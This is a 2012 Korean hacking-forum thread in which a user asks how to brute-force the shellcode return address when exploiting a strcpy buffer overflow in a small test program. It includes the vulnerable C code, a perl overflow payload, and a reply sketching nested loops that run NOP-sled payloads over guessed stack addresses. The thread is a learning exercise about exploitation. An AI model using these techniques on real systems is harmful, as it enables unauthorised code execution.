시스템 해킹

 1576, 1/79 회원가입  로그인  
   hihi2623
   버퍼오버플로우 brute force 에관해서...

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1616 [복사]


버퍼오버플로우시 만약 test 라는 취약프로그램이 있습니다.

--test---
int main(int argc,char* argv[])
{
   char buffer[40];
   strcpy(buffer,argv[1]);
}

근데 이 프로그램을 공격하기위해서

./test `perl -e 'print "a"x40,"\x??\x??\x??\x??"'`
                    --쉘코드+NOP-- + 쉘코드의 주소값

이런식으로 버퍼오버플로우를 시키잖아요?

근데 이걸 쉘코드가 들어있는 메모리주소를 찾는 brute force 어택을 하는 프로그램을 짜려면 어떻게 해야하나요??

물론 gdb로 분석해서 할줄은 압니다만... brute force 공격을 할때 어떻게 소스를 짜는지 궁금해서 그럽니다ㅠㅠ

char* ptr=0xa;
char temp[100];
sprintf(temp,"./test `perl -e 'print \"%c\"'`",ptr);
system(temp);

직접 치는거랑 쉘에 전달되는게 다른거 같습니다..ㅠㅠ  제발 저에게 지식을 알려주세요~

`perl -e 'print "\x??\x??\x??\x??"'`   <- 이거랑 똑같은 기능을 하고 물음표를 랜덤으로 돌릴수있는

프로그램 소스를 쫌 짜주세요

  Hit : 3937     Date : 2012/10/15 06:57



    
cd80 \x~~ 형식으로 전달하는게 키보드로 표현 불가능한 문자를 생성해 프로그램에 넣어주려고 하는것인데요
결국 \x \x \x 하나하나가 1바이트 char 형입니다
while 문 돌리시면서
스택으로 리턴하는 경우 앞 두바이트가 0xbfff 혹은 0xbffe 인게 대부분이기 때문에 (레드햇 6.2 기준)
또 그 아래에 while 두개나 for문 두개를 사용하셔서
i=255
j=255
for i > 0
for j > 0
sprintf(temp, "./test `perl -e 'print \"\\x90\" x 200, \"%c%c\\xff\\xbf\"'`", i, j);
system(temp);
if (j=1){ i = 255; j -=1; }

end for j
end for i

이런식으로 하시면 될것같습니다
2012/10/15